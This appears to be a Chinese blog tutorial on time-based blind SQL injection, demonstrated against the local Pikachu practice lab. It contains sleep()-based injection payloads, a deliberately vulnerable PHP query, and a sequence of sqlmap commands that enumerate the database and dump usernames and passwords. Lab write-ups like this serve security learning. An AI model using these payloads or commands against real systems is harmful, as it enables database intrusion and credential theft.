sql注入之时间注入

一、时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。

如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时。这样就能获取字符,接着再拼接就是当前库的内容。

二、代码分析

在页面中分析源码,直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。

$link=connect();
$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
  //这里没有做任何处理,直接拼到select里面去了
  $name=$_GET['name'];
  if $name 有 sleep() select insert()  清空 或者重定向
  //这里的变量是字符型,需要考虑闭合
  $query="select id,email from member where username='$name'";
  $result=execute($link, $query);
  if(mysqli_num_rows($result)>=1){
    while($data=mysqli_fetch_assoc($result)){
      $id=$data['id'];
      $email=$data['email'];
      $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
    }
  }else{

    $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
  }
}

三、sqlmap测时间注入

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。

采用时间注入:

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T

-u 表示检测的 url

-p 指定的检测参数

-v 显示调试模式

--technique=T 检测方法为时间注入

2、获取用户和数据库名

sqlmap 检测为时间注入,通过这个注入获取数据库名、用户权限、表、字段等敏感信息。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式,自动 y

3、获取表

-D 指定数据库
--tables 获取表
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --tables -D pikachu --batch

4、获取字段

-T 指定表
--columns 获取字段
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

5、查询账号和密码

--dump 导出数据
-C 指定查询的字段
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T  --dump -C "id,username,password" -T users -D pikachu --batch

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

南棋网络安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值